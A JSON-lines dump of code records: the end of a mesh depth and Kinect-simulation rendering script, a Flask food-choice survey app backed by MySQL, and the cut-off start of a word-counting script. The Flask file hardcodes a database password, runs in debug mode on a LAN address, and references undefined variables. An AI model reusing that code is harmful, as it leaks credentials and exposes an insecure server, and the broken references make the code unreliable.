inv_trafo(inv_extrinsic)\n extrinsic[1, :] *= -1\n extrinsic[2, :] *= -1\n tmp_mesh.apply_transform(extrinsic)\n vertices, faces = tmp_mesh.vertices, tmp_mesh.faces\n kinect_depth_map = kinect_sim.simulate(vertices,\n faces,\n args.width,\n args.height,\n args.fx,\n args.fy,\n args.cx,\n args.cy,\n args.verbose)\n tmp_mesh.apply_transform(inv_trafo(extrinsic))\n logger.debug(f'Simulated Kinect depth in {time() - restart:.4f}s.')\n\n # Checks if the depth map contains enough pixels and if the minimum depth is greater than znear.\n if (kinect_depth_map > 0).sum() > min_pixels and kinect_depth_map[kinect_depth_map > 0].min() > args.znear:\n break\n else:\n # If not, decrease the number of pixels and scale the mesh.\n min_pixels -= 1\n scale *= 1.05\n tmp_mesh.vertices *= 1.05\n scene.remove_node(mesh_node)\n mesh_node = pyrender.Node(mesh=pyrender.Mesh.from_trimesh(tmp_mesh, smooth=False))\n scene.add_node(mesh_node)\n\n if args.show and args.verbose:\n Image.fromarray((depth_map / depth_map.max() * 255).astype(np.uint8), mode='L').show()\n Image.fromarray((kinect_depth_map / kinect_depth_map.max() * 255).astype(np.uint8), mode='L').show()\n Image.fromarray(normal_image).show()\n\n if (kinect_depth_map > 0).sum() <= min_pixels or kinect_depth_map[kinect_depth_map > 0].min() <= args.znear:\n logger.warning(f'Could not find a valid view for mesh {in_path}. Removing {out_dir}.')\n shutil.rmtree(out_dir, ignore_errors=True)\n return\n\n scene.remove_node(mesh_node)\n scales.append(scale)\n rotations.append(trafo[:3, :3])\n\n restart = time()\n depth_map[(depth_map > args.zfar) | (depth_map < args.znear)] = 0\n depth_max = depth_map.max()\n depth_scale = max_value / depth_max\n depth_map *= depth_scale\n depth_map[depth_map > max_value] = max_value\n depth_map = np.round(depth_map).astype(depth_dtype)\n max_depths.append(depth_max)\n\n normal_map = normal_image.copy()\n normal_map[depth_map == 0] = np.zeros(3, dtype=np.uint8)\n logger.debug(f'Processed depth and normal map in {time() - restart:.4f}s.')\n\n restart = time()\n kinect_depth_map[(kinect_depth_map > args.zfar) | (kinect_depth_map < args.znear)] = 0\n kinect_depth_max = kinect_depth_map.max()\n kinect_depth_scale = max_value / kinect_depth_max\n kinect_depth_map *= kinect_depth_scale\n kinect_depth_map[kinect_depth_map > max_value] = max_value\n kinect_depth_map = np.round(kinect_depth_map).astype(depth_dtype)\n kinect_max_depths.append(kinect_depth_max)\n logger.debug(f'Processed Kinect depth map in {time() - restart:.4f}s.')\n\n restart = time()\n depth_path = out_dir / 'depth' / f'{index:05d}.png'\n normal_path = out_dir / 'normal' / f'{index:05d}.jpg'\n Image.fromarray(depth_map, mode='L' if depth_dtype == np.uint8 else 'I;16').save(depth_path)\n Image.fromarray(normal_map).save(normal_path, quality=args.normal_quality)\n logger.debug(f'Saved depth and normal map in {time() - restart:.4f}s.')\n\n restart = time()\n kinect_depth_path = out_dir / 'kinect' / f'{index:05d}.png'\n Image.fromarray(kinect_depth_map, mode='L' if depth_dtype == np.uint8 else 'I;16').save(kinect_depth_path)\n logger.debug(f'Saved Kinect depth map in {time() - restart:.4f}s.')\n\n extrinsic = inv_trafo(inv_extrinsic)\n extrinsic[1, :] *= -1\n extrinsic[2, :] *= -1\n extrinsics.append(extrinsic)\n\n if args.show:\n Image.fromarray((depth_map / depth_map.max() * 255).astype(np.uint8), mode='L').show()\n Image.fromarray((kinect_depth_map / kinect_depth_map.max() * 255).astype(np.uint8), mode='L').show()\n Image.fromarray(normal_image).show()\n\n restart = time()\n ds = 1 / depth_max if args.depth_precision == 8 else depth_scale\n pcd = convert_rgbd_image_to_point_cloud([str(normal_path), str(depth_path)],\n intrinsic,\n extrinsic,\n depth_scale=ds,\n depth_trunc=args.zfar,\n convert_rgb_to_intensity=False)\n pcd.normals = o3d.utility.Vector3dVector(np.asarray(pcd.colors) * 2 - 1)\n logger.debug(f'Converted depth and normal map to point cloud in {time() - restart:.4f}s.')\n\n restart = time()\n kinect_ds = 1 / kinect_depth_max if args.depth_precision == 8 else kinect_depth_scale\n kinect_pcd = convert_depth_image_to_point_cloud(str(kinect_depth_path),\n intrinsic,\n extrinsic,\n depth_scale=kinect_ds,\n depth_trunc=args.zfar,\n convert_rgb_to_intensity=False)\n logger.debug(f'Converted Kinect depth map to point cloud in {time() - restart:.4f}s.')\n\n if args.verbose:\n o3d.visualization.draw_geometries([copy.deepcopy(kinect_pcd).paint_uniform_color([1, 0, 0]), pcd])\n o3d.visualization.draw_geometries([kinect_pcd,\n o3d.geometry.TriangleMesh(\n vertices=o3d.utility.Vector3dVector(tmp_mesh.vertices),\n triangles=o3d.utility.Vector3iVector(\n tmp_mesh.faces)).compute_vertex_normals(),\n o3d.geometry.TriangleMesh().create_coordinate_frame(size=scale_y / 2),\n # o3d.geometry.TriangleMesh().create_coordinate_frame(size=0.1).transform(\n # inv_extrinsic),\n o3d.geometry.TriangleMesh().create_coordinate_frame(size=0.1).transform(\n inv_trafo(extrinsic))])\n\n data = {'scales': np.asarray(scales, dtype=np.float32),\n 'max_depths': np.asarray(max_depths, dtype=np.float32),\n 'kinect_max_depths': np.asarray(kinect_max_depths, dtype=np.float32),\n 'intrinsic': intrinsic.astype(np.float32),\n 'extrinsics': np.asarray(extrinsics, dtype=np.float32)}\n # Test if any rotation in rotations is not the identity\n rotations = np.asarray(rotations, dtype=np.float32)\n if not np.allclose(rotations, np.eye(3)):\n data['rotations'] = rotations\n np.savez_compressed(params_path, **data)\n\n renderer.delete()\n del kinect_sim\n lock_path.unlink(missing_ok=True)\n\n\ndef run(args: Namespace):\n start = time()\n in_path = args.in_file.expanduser().resolve()\n logger.debug(f'Processing file {in_path}.')\n out_dir = in_path.parent\n if args.out_dir:\n out_dir = args.out_dir.expanduser().resolve() / in_path.parent.parent.name / in_path.parent.name\n logger.debug(f'Output directory is {out_dir}.')\n try:\n render(in_path, out_dir, args)\n except Exception as e:\n logger.exception(e)\n if args.remove:\n logger.warning(f'Exception occurred. Removing {out_dir}.')\n shutil.rmtree(out_dir, ignore_errors=True)\n (out_dir / 'lock').unlink(missing_ok=True)\n logger.debug(f'Runtime: {time() - start:.2f}s.\\n')\n\n\ndef get_argument_parser() -> ArgumentParser:\n parser = ArgumentParser()\n parser.add_argument('--out_dir', type=Path, help='Path to output directory.')\n parser.add_argument('--out_format_depth', type=str, default='.png', help='Output file format for depth maps.')\n parser.add_argument('--out_format_normal', type=str, default='.jpg', help='Output file format for normal maps.')\n parser.add_argument('--depth_precision', type=int, default=16, choices=[8, 16], help='Precision of depth maps.')\n parser.add_argument('--normal_quality', type=str, default='web_low',\n choices=['web_low', 'web_medium', 'web_high', 'web_very_high', 'web_maximum',\n 'low', 'medium', 'high', 'maximum'],\n help='JPEG quality of normal maps.')\n parser.add_argument('--n_views', type=int, default=100, help='Number of depth and normal views to render.')\n parser.add_argument('--width', type=int, default=640, help='Width of the depth map.')\n parser.add_argument('--height', type=int, default=480, help='Height of the depth map.')\n parser.add_argument('--fx', type=float, default=582.6989, help='Focal length in x.')\n parser.add_argument('--fy', type=float, default=582.6989, help='Focal length in y.')\n parser.add_argument('--cx', type=float, default=320.7906, help='Principal point in x.')\n parser.add_argument('--cy', type=float, default=245.2647, help='Principal point in y.')\n parser.add_argument('--znear', type=float, default=0.5, help='Near clipping plane.')\n parser.add_argument('--zfar', type=float, default=6.0, help='Far clipping plane.')\n parser.add_argument('--process', action='store_true', help='Process meshes before sampling/rendering.')\n parser.add_argument('--inplane_rotation', type=float, default=0.0, help='In-plane rotation of the camera.')\n parser.add_argument('--scale_object', action='store_true', help='Apply random scale to the object.')\n parser.add_argument('--distort_object', action='store_true', help='Apply random distortion to the object.')\n parser.add_argument('--rotate_object', action='store_true', help='Apply random rotation to the object.')\n parser.add_argument('--axis', type=str, choices=['x', 'y', 'z'], help='Rotation axis.')\n parser.add_argument('--angle', type=float, help='Rotation angle in degrees.')\n parser.add_argument('--overwrite', action='store_true', help='Overwrite existing files.')\n parser.add_argument('--check', action='store_true', help='Check results.')\n parser.add_argument('--fix', action='store_true', help='Fix results that failed check.')\n parser.add_argument('--remove', action='store_true', help='Removes results that failed check.')\n parser.add_argument('--show', action='store_true', help='Visualize renders.')\n parser.add_argument('--verbose', action='store_true', help='Enable verbose logging.')\n return parser\n\n\ndef main():\n parser = get_argument_parser()\n parser.add_argument('in_file', type=Path, help='Path to input file.')\n args = parser.parse_args()\n\n save_command_and_args_to_file(args.out_dir / \"command.txt\", args)\n\n # Check that fix or remove are only set when check is set.\n if args.fix or args.remove:\n assert args.check, 'Fix or remove can only be set when check is set.'\n\n # Check that fix and remove are not set at the same time.\n assert not (args.fix and args.remove), 'Fix and remove cannot be set at the same time.'\n\n if args.verbose:\n set_log_level(logging.DEBUG)\n\n # Set EGL for offscreen rendering if not visualizing.\n if not args.show:\n os.environ['PYOPENGL_PLATFORM'] = 'egl'\n\n run(args)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "DLR-RM/shape-completion", "sub_path": "process/render_kinect.py", "file_name": "render_kinect.py", "file_ext": "py", "file_size_in_byte": 21073, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "utils.setup_logger", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 55, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 64, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 66, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 67, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 72, "usage_type": "call"}, {"api_name": "src.utils.resolve_dtype", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "trimesh.Trimesh", "line_number": 98, "usage_type": "call"}, {"api_name": "utils.load_mesh", "line_number": 98, "usage_type": "call"}, {"api_name": "time.time", "line_number": 109, "usage_type": "call"}, {"api_name": "time.time", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 113, "usage_type": "call"}, {"api_name": "src.utils.normalize_mesh", "line_number": 115, "usage_type": "call"}, {"api_name": "time.time", "line_number": 116, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "pyrender.Scene", "line_number": 119, "usage_type": "call"}, {"api_name": "pyrender.IntrinsicsCamera", "line_number": 120, "usage_type": "call"}, {"api_name": "pyrender.Node", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 121, "usage_type": "call"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "pyrender.OffscreenRenderer", "line_number": 126, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 127, "usage_type": "call"}, {"api_name": "pyrender.shader_program.ShaderProgramCache", "line_number": 128, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "libs.libkinect.KinectSim", "line_number": 132, "usage_type": "call"}, {"api_name": "time.time", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 161, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 165, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 167, "usage_type": "attribute"}, {"api_name": "scipy.spatial.transform.Rotation.from_euler", "line_number": 169, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 169, "usage_type": "name"}, {"api_name": "pyrender.Node", "line_number": 174, "usage_type": "call"}, {"api_name": "pyrender.Mesh.from_trimesh", "line_number": 174, "usage_type": "call"}, {"api_name": "pyrender.Mesh", "line_number": 174, "usage_type": "attribute"}, {"api_name": "scipy.spatial.transform.Rotation.from_euler", "line_number": 177, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 177, "usage_type": "name"}, {"api_name": "numpy.eye", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 187, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 189, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}, {"api_name": "src.utils.part_sphere", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 194, "usage_type": "call"}, {"api_name": "src.utils.look_at", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 199, "usage_type": "call"}, {"api_name": "time.time", "line_number": 204, "usage_type": "call"}, {"api_name": "pyrender.RenderFlags", "line_number": 206, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 207, "usage_type": "call"}, {"api_name": "time.time", "line_number": 209, "usage_type": "call"}, {"api_name": "utils.inv_trafo", "line_number": 210, "usage_type": "call"}, {"api_name": "utils.inv_trafo", "line_number": 224, "usage_type": "call"}, {"api_name": "time.time", "line_number": 225, "usage_type": "call"}, {"api_name": "pyrender.Node", "line_number": 236, "usage_type": "call"}, {"api_name": "pyrender.Mesh.from_trimesh", "line_number": 236, "usage_type": "call"}, {"api_name": "pyrender.Mesh", "line_number": 236, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 240, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 240, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 240, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 241, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 241, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 241, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 242, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 242, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 246, "usage_type": "call"}, {"api_name": "time.time", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 263, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 264, "usage_type": "call"}, {"api_name": "time.time", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 272, "usage_type": "call"}, {"api_name": "time.time", "line_number": 274, "usage_type": "call"}, {"api_name": "time.time", "line_number": 276, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 279, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 279, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 279, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 280, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 280, "usage_type": "name"}, {"api_name": "time.time", "line_number": 281, "usage_type": "call"}, {"api_name": "time.time", "line_number": 283, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 285, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 285, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 285, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 286, "usage_type": "call"}, {"api_name": "utils.inv_trafo", "line_number": 288, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 294, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 294, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 294, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 295, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 295, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 295, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 296, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 296, "usage_type": "name"}, {"api_name": "time.time", "line_number": 298, "usage_type": "call"}, {"api_name": "easy_o3d.utils.convert_rgbd_image_to_point_cloud", "line_number": 300, "usage_type": "call"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 306, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 306, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 306, "usage_type": "call"}, {"api_name": "time.time", "line_number": 307, "usage_type": "call"}, {"api_name": "time.time", "line_number": 309, "usage_type": "call"}, {"api_name": "easy_o3d.utils.convert_depth_image_to_point_cloud", "line_number": 311, "usage_type": "call"}, {"api_name": "time.time", "line_number": 317, "usage_type": "call"}, {"api_name": "open3d.visualization.draw_geometries", "line_number": 320, "usage_type": "call"}, {"api_name": "open3d.visualization", "line_number": 320, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 320, "usage_type": "call"}, {"api_name": "open3d.visualization.draw_geometries", "line_number": 321, "usage_type": "call"}, {"api_name": "open3d.visualization", "line_number": 321, "usage_type": "attribute"}, {"api_name": "open3d.geometry.TriangleMesh", "line_number": 322, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 322, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 323, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 323, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3iVector", "line_number": 324, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 324, "usage_type": "attribute"}, {"api_name": "open3d.geometry.TriangleMesh", "line_number": 326, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 326, "usage_type": "attribute"}, {"api_name": "open3d.geometry.TriangleMesh", "line_number": 329, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 329, "usage_type": "attribute"}, {"api_name": "utils.inv_trafo", "line_number": 330, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 332, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 333, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 334, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 335, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 336, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 338, "usage_type": "attribute"}, {"api_name": "numpy.allclose", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.savez_compressed", "line_number": 341, "usage_type": "call"}, {"api_name": "argparse.Namespace", "line_number": 348, "usage_type": "name"}, {"api_name": "time.time", "line_number": 349, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 362, "usage_type": "call"}, {"api_name": "time.time", "line_number": 364, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 368, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 369, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 367, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 404, "usage_type": "name"}, {"api_name": "utils.save_command_and_args_to_file", "line_number": 407, "usage_type": "call"}, {"api_name": "utils.set_log_level", "line_number": 417, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 417, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 421, "usage_type": "attribute"}]} +{"seq_id": "23774674618", "text": "#!/usr/bin/env python2\n# -*- coding: UTF-8 -*-\n\nimport flask\nimport databasehandler\nimport json\nimport time\nimport os\nimport io\nimport random\nimport base64\nimport pandas as pd\nfrom flask import request,Response,render_template,jsonify\n\n#web api\napi_name = \"Food_Choice\"\nip_addr = \"192.168.0.116\"\nip_port = 8009\n\n#Database\ndatabase_ip = \"localhost\"\nusername = \"li\"\npasswd = \"issysesosakau\"\ndatabase_name = \"Interface2\"\nraw_data_table = \"Interface2DataRawAB\"\nuserinfo_table = \"UserInfo\"\ndb = databasehandler.DatabaseMySQL(database_ip, username, passwd, database_name)\nuser_info_columns = [\"UserName\",\"UserID\",\"DataNumber\"]\n\n\n#Path\nlist_csv_path = \"/home/li/webapi/domain/combine_lists.csv\"\nimage_path = \"/home/li/webapi/domain/domain_food/\"\nextra_txt_path = \"/home/li/webapi/domain/extra.txt\"\n\n#Variables\nstatus = \"test\"\nitem_number = 4\nlist_csv = pd.read_csv(list_csv_path)\nA_list_len = len(list_csv.A)\nB_list_len = len(list_csv.B)\n\n\n\n########################################\n\n#User List\nuser_id_dic = {}\nuser_number_dic = {}\nre = db.selectdistinct(userinfo_table, user_info_columns)\nfor user in re:\n user_id_dic[user[0]] = int(user[1])\n user_number_dic[user[0]] = int(user[2])\n\n#Image List\nimage_stream_list = []\nfor i in range(C_list_len):\n image_name = image_path + \"re\" + str(i) + \".jpg\"\n #print(image_name)\n with open(image_name,'r') as image_f:\n image_stream = image_f.read()\n image_stream = base64.b64encode(image_stream)\n image_stream_list.append(image_stream)\n\n\n#Extra\nextra_list = []\nwith open(extra_txt_path, 'r') as extra_f:\n for line in extra_f.readlines():\n extra_list.append(unicode(str(line).strip(), \"utf-8\"))\n\n\napp = flask.Flask(api_name)\n@app.route('/home', methods = ['GET','POST'])\ndef home():\n return render_template('interface_v4_home.html')\n\n@app.route('/login', methods = ['GET', 'POST'])\ndef login():\n username = request.form.get(\"username\")\n\n if username == None:\n return render_template('interface_v4_home.html')\n username = str(username).lower()\n if username in user_id_dic.keys():\n userid = user_id_dic[username]\n else:\n userid = len(user_id_dic.keys())\n user_number_dic[username] = 0\n userinfo_dic = {}\n userinfo_dic[\"UserName\"] = username\n userinfo_dic[\"UserID\"] = userid\n userinfo_dic[\"DataNumber\"] = 0\n db.insert(userinfo_table, userinfo_dic)\n\n A_choice = random.choice(range(A_list_len))\n B_sample = random.sample(range(B_list_len), 4)\n\n print(A_choice)\n print(B_choice)\n print(C_sample)\n \n return render_template(\"interface_v4_food.html\", UserName = username, UserID = userid, DataNumber = user_number_dic[username],\n CONDITION_ID = A_choice, WHO_NAME = unicode(list_csv.loc[A_choice,\"A\"], \"utf-8\"),\n CHOICE_1_ID = B_sample[0], CHOICE_1_NAME = unicode(list_csv.loc[B_sample[0],\"B\"], \"utf-8\"), CHOICE_1_ImageStream = image_stream_list[B_sample[0]],\n CHOICE_2_ID = B_sample[1], CHOICE_2_NAME = unicode(list_csv.loc[B_sample[1],\"B\"], \"utf-8\"), CHOICE_2_ImageStream = image_stream_list[B_sample[1]],\n CHOICE_3_ID = B_sample[2], CHOICE_3_NAME = unicode(list_csv.loc[B_sample[2],\"B\"], \"utf-8\"), CHOICE_3_ImageStream = image_stream_list[B_sample[2]],\n CHOICE_4_ID = B_sample[3], CHOICE_4_NAME = unicode(list_csv.loc[B_sample[3],\"B\"], \"utf-8\"), CHOICE_4_ImageStream = image_stream_list[B_sample[3]],\n EXTRA_1 = extra_list[1]\n )\n\n\n@app.route('/log', methods = ['POST'])\ndef log():\n log_dic = {}\n username = request.form[\"UserName\"]\n userid = request.form[\"UserID\"]\n log_dic[\"UserName\"] = str(username)\n log_dic[\"UserID\"] = str(userid)\n log_dic[\"Status\"] = status\n log_dic[\"AListID\"] = int(request.form[\"AListID\"])\n log_dic[\"BListID\"] = int(request.form[\"BListID\"])\n log_dic[\"CListID1\"] = int(request.form[\"CListID1\"])\n log_dic[\"CListID2\"] = int(request.form[\"CListID2\"])\n log_dic[\"CListID3\"] = int(request.form[\"CListID3\"])\n log_dic[\"CListID4\"] = int(request.form[\"CListID4\"])\n log_dic[\"CListSelectID\"] = int(request.form[\"CListSelectID\"])\n log_dic[\"ResponseTime\"] = \"%.2f\" % float(request.form[\"ResponseTime\"])\n #print(log_dic)\n db.insert(raw_data_table, log_dic)\n\n user_number_dic[username] += 1\n update_dic = {}\n update_dic[\"DataNumber\"] = str(user_number_dic[username])\n where_dic = {}\n where_dic[\"UserID\"] = str(userid)\n db.update(userinfo_table, update_dic, where_dic)\n \n return \"yes\"\n\n\n\nif __name__ == '__main__':\n try:\n app.run(debug = True, host = ip_addr, port = ip_port)\n finally:\n print(\"server close\")\n db.close()\n\n", "repo_name": "nixidekaoya/webapi", "sub_path": "interface_v4_food.py", "file_name": "interface_v4_food.py", "file_ext": "py", "file_size_in_byte": 4779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "databasehandler.DatabaseMySQL", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 39, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 83, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 96, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 116, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 116, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 117, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 117, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 121, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 122, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 125, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 125, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 126, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 126, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 127, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 127, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 128, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 128, "usage_type": "name"}]} +{"seq_id": "6091671782", "text": "from bs4 import BeautifulSoup\nfrom handle_databases import *\nfrom collections import Counter\n\n\ndef start(text, title):\n \"\"\"\n This method control of counter word\n :param text:A given text\n :param title: The title of this text\n \"\"\"\n soup = BeautifulSoup(text, features=\"html.parser\")\n content = soup.text\n clean_text = clean_symbols(content)\n create_dictionary(clean_text, title)\n\n\ndef clean_symbols(text):\n \"\"\"\n This method clean the text from symbols\n :param text: A give text\n :return: This text without the symbols\n \"\"\"\n symbols = \"!@#$%^&*(){}[]\\\"<>?/'.;`_=+-:|,\"\n 